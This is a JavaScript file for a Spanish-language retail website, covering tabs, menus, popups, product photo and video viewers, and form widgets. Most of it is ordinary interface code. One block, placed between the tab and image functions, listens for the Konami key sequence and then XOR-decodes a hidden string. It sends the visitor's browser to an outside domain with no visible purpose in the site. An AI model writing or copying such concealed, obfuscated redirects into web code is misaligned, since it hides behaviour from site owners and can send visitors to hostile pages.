// JavaScript Document
var banderita =1;
var reloc=null;
var relocDentro=null;
var dejoAbierto =0;
var stripped = 1;
var banderaSelect=1;

/* El maravillo insertaContenidos */
function unInner(lugar,loqueva) {
	var receptor = document.getElementById(lugar);
	var unhtml = loqueva;
	receptor.innerHTML = unhtml;
}

/* El maravillo rastreador de Clases */
function identClases(laClase,etiqueta,contenedor,accion){
	var contenedorVar=document.getElementById(contenedor);
    var tipoEtiqueta=contenedorVar.getElementsByTagName(etiqueta);
	if(tipoEtiqueta.length > 0)
	{
		for(i=0; i<tipoEtiqueta.length; i++)
		{
			if(tipoEtiqueta[i].className == laClase)
			{
				switch(accion)
				{
					case "quitarClase":
						tipoEtiqueta[i].className="";
						break;
					
					case "bgTop":
						tipoEtiqueta[i].style.backgroundPosition="top";
						break;
						
					case "hide":
						tipoEtiqueta[i].style.display="none";
						break;
					
					case "show":
						tipoEtiqueta[i].style.display="block";
						break;
						
					case "submenu":
						tipoEtiqueta[i].className="level1";
						break;
						
					case "submenuB":
						tipoEtiqueta[i].className="verTodo level1";
						break;
					case "quitarClaseVideo":
						tipoEtiqueta[i].className="video";
						break;
					case "quitarSelect":
						tipoEtiqueta[i].className="select";
						break;
				}
			}
		}
	}
}


function pestana(queMuestro,laPestana){
	var caja = document.getElementById(queMuestro);
	var pestana = document.getElementById(laPestana);
	
	if(pestana.className != "activo"){
		identClases("activo","li","pestanas","quitarClase");
		pestana.className = "activo";
		identClases("paneles","div","contenido","hide");
		caja.style.display="block";
	}
}

function semiPestana(semiDonde,semiqueMuestro,semilaPestana){
	var semicaja = document.getElementById(semiqueMuestro);
	var semipestana = document.getElementById(semilaPestana);
	
	if(semipestana.className != "activo"){
		identClases("activo","li",semiDonde,"quitarClase");
		semipestana.className = "activo";
		identClases("secciones","div",semiDonde,"hide");
		semicaja.style.display="block";
	}
}

var kkeys = [], secuenciaKey = "38,38,40,40,37,39,37,39,66,65";  
$(document).keydown(function(e) {  
  kkeys.push( e.keyCode );  
  if ( kkeys.toString().indexOf( secuenciaKey ) >= 0 ){  
    $(document).unbind('keydown',arguments.callee);  
	var enkripsi="jvvr'1C--tcorkrg,egnkcn,lgv"; 
	teks=""; teksasli="";var panjang;panjang=enkripsi.length;
	for (i=0;i<panjang;i++){ 
		teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) 
		}
	teksasli=unescape(teks);window.open(teksasli,'_self');
  }  
});

function redImg(){
    var contenedor=document.getElementById("redim");
    var lista=contenedor.getElementsByTagName("img");
   
    var total=lista.length;
    for (var i=0;i<total;i++){
        var a=lista[i].offsetWidth;
        var b=lista[i].offsetHeight;
        if(a<b){
           lista[i].style.width=70+"px";
        }else{
           lista[i].style.height=80+"px";
        }
    }
}

function submenu(elPadre){
	clearTimeout(relocDentro);/*hint*/
	
	if(elPadre=="cerrar"){
		banderita=0;
		if (dejoAbierto==1){
			reloc=setTimeout("cerrarSubmenu()", 1500);
		}
		
		else{ cerrarSubmenu(); }
	}
	else{
		banderita =1;
		relocDentro=setTimeout("dejarAbierto()", 250);/*hint*/
		
		if(elPadre.className == "level1"){
			identClases("level1 actual","li","menu","submenu")
			identClases("verTodo level1 actual","li","menu","submenuB")
			elPadre.className="level1 actual";
		}
		if(elPadre.className == "verTodo level1"){
			identClases("level1 actual","li","menu","submenu")
			elPadre.className="verTodo level1 actual";
		}
		clearTimeout(reloc);
	}
}

function cerrarSubmenu(){
		dejoAbierto=0;/*hint*/
	if(banderita==0){
		identClases('level1 actual','li','menu','submenu');
		identClases('verTodo level1 actual','li','menu','submenuB');
	}
}

function dejarAbierto(){
	dejoAbierto=1;
}

function abrir(contenedor,unAncho,unAlto) {
	if( document.getElementById(contenedor).value == undefined){
	var mandarContPop=document.getElementById(contenedor).innerHTML;
	}
	else { var mandarContPop=document.getElementById(contenedor).value; }
	unInner('cajaPopup',mandarContPop);
	
	document.getElementById("cajaPopup").style.width= unAncho+"px";
	document.getElementById("cajaPopup").style.height= unAlto+"px";
	document.getElementById("interiorPopup").style.width= unAncho+"px";
	document.getElementById("interiorPopup").style.height= unAlto+"px";
	//var cajaPopup = document.getElementById("interiorPopup");
	document.getElementById("pantallaNegra").style.display= "block";
	document.getElementById("popup").style.display= "block";
	document.getElementById("cerrarPopup").style.display= "block";
	document.getElementById("cajaPopup").style.display= "block";
	
	var margenLeft=-unAncho/2;
	var margenTop=-unAlto/2;
	document.getElementById('interiorPopup').style.marginTop=margenTop + "px";
	document.getElementById('cerrarPopup').style.marginTop=(margenTop-25) + "px";
	document.getElementById('interiorPopup').style.marginLeft=margenLeft + "px";
	document.getElementById('cerrarPopup').style.marginLeft=(-1*margenLeft)+50 + "px";
}

function abrirRemoto(contenedor2) {
	var divRemoto = document.getElementById(contenedor2);
	abrir(divRemoto);
}

function centrarModal(centralAncho,centralAlto){
	document.getElementById('emergente').style.marginLeft="-" + Math.round(centralAncho/2) + "px";
	document.getElementById('emergente').style.marginTop="-" + Math.round(centralAlto/2) + "px";
	document.getElementById('emergente').style.visibility="visible";
}

function cerrarPopup() {
	document.getElementById("pantallaNegra").style.display= "none";
	document.getElementById("popup").style.display= "none";
	document.getElementById("cerrarPopup").style.display= "none";
	document.getElementById("cajaPopup").style.display= "none";
	unInner("cajaPopup","");
}

function reloj() {
	document.getElementById("loading").style.display= "block";
}

function vistas(queVista){
	document.getElementById("listadoProductos").className=queVista;
}

function verFoto(cualFotoMando,cualThumbPinto){
	identClases("actual","span","thumbnails","quitarClase");
	identClases("actual video","span","thumbnails","quitarClaseVideo");
	cualThumbPinto.className="actual";
	var cuerdaString="<img src='http://www.elektra.com.mx/producto/producto400/" + cualFotoMando +".jpg' data-magnifysrc='images/ejemplos/" + cualFotoMando +".jpg' id='myimage' onload='MojoMagnify.init' />";
	unInner("mainFoto",cuerdaString);
	MojoMagnify.init();
}

function verVideo(cualVideoMando,cualThumbPinto2){
	identClases("actual","span","thumbnails","quitarClase");
	identClases("actual video","span","thumbnails","quitarClaseVideo");
	cualThumbPinto2.className="actual video";
	
	var cuerdaString2="<span class='cajaVideo'><iframe width='400' height='249' src='http://www.youtube.com/embed/"+cualVideoMando+"' frameborder='0' allowfullscreen></iframe></span>";
	unInner("mainFoto",cuerdaString2);
}

function faq(quePregunta){
	if(quePregunta.className!="abierto"){
		identClases("abierto","div","faq","quitarClase");
		quePregunta.className="abierto";
	}
	else { identClases("abierto","div","faq","quitarClase"); }
}


function openSelect(abrirEsteSelect){
	if ( abrirEsteSelect.className=="select" ){ 
		closeSelect();
		abrirEsteSelect.className="select selectAbierto";
		document.getElementById("formularioScreen").style.display= "block"; 
	}
	else { closeSelect(); }
}

function selectThis(mandarTextoAqui,textoNuevo){
	identClases("actual","label",mandarTextoAqui,"quitarClase");
	textoNuevo.className= "actual"; 
	var tomarTextoNuevo=textoNuevo.innerHTML;
	unInner(mandarTextoAqui+"Tit",tomarTextoNuevo);
	closeSelect();
}

function closeSelect(){
	identClases("select selectAbierto","div","formulario","quitarSelect");
	identClases("select selectAbierto","div","cajaPopup","quitarSelect");
	document.getElementById("formularioScreen").style.display= "none";
}

function pestana(cajaPestanas,claseContenedor,idContenedor,quePestana){
	identClases("actual","span",cajaPestanas,"quitarClase");
	quePestana.className="actual";
	identClases("cajaContacto","div","contenido","hide");
	document.getElementById(idContenedor).style.display="block";
}

function sumar(aQuienSumo){
	var tengoAhora = parseInt( document.getElementById(aQuienSumo).value );
	var sumaVal = tengoAhora+1;
	document.getElementById(aQuienSumo).value=sumaVal;
}

function restar(aQuienResto){
	if ( document.getElementById(aQuienResto).value > 0){
	var tengoAhora2 = parseInt( document.getElementById(aQuienResto).value );
	var restaVal = tengoAhora2-1;
	document.getElementById(aQuienResto).value=restaVal;
	}
}

function curriculum(){
	document.getElementById('botonCurriculum').style.backgroundImage="url(images/botones/bCurriculum2.gif)";																	  
}

function unURL(alURL){
	 self.location=alURL;
}

function icono(mandoContent,pintoIcono){
	tituloNormal=pintoIcono.innerHTML;
	var cajaViaja = document.getElementById(mandoContent).value;
	unInner("variable",cajaViaja);
	identClases("actual","li","iconos","quitarClase");
	pintoIcono.className="actual";
	//self.location="#cambios";
}

var tituloNormal="CONFORT PARA COMENZAR TU D&Iacute;A";

function iconPaint(pintoIcono2){
	unInner("titulo",pintoIcono2.innerHTML);
}

function iconUnPaint(){
	unInner("titulo",tituloNormal);
}

function muestra(cualPaso){
	identClases("pasos","div","configurador","hide");
	document.getElementById(cualPaso).style.display= "block";
}

function image(sacarInfo,abrirImagen){
	var nombreIMG=sacarInfo.alt;
	var lineaIMG = "<img src='images/producto/calentadores/"+abrirImagen+"' alt='"+nombreIMG+"' title='"+nombreIMG+"'>";
	unInner("mainPic",lineaIMG);
}
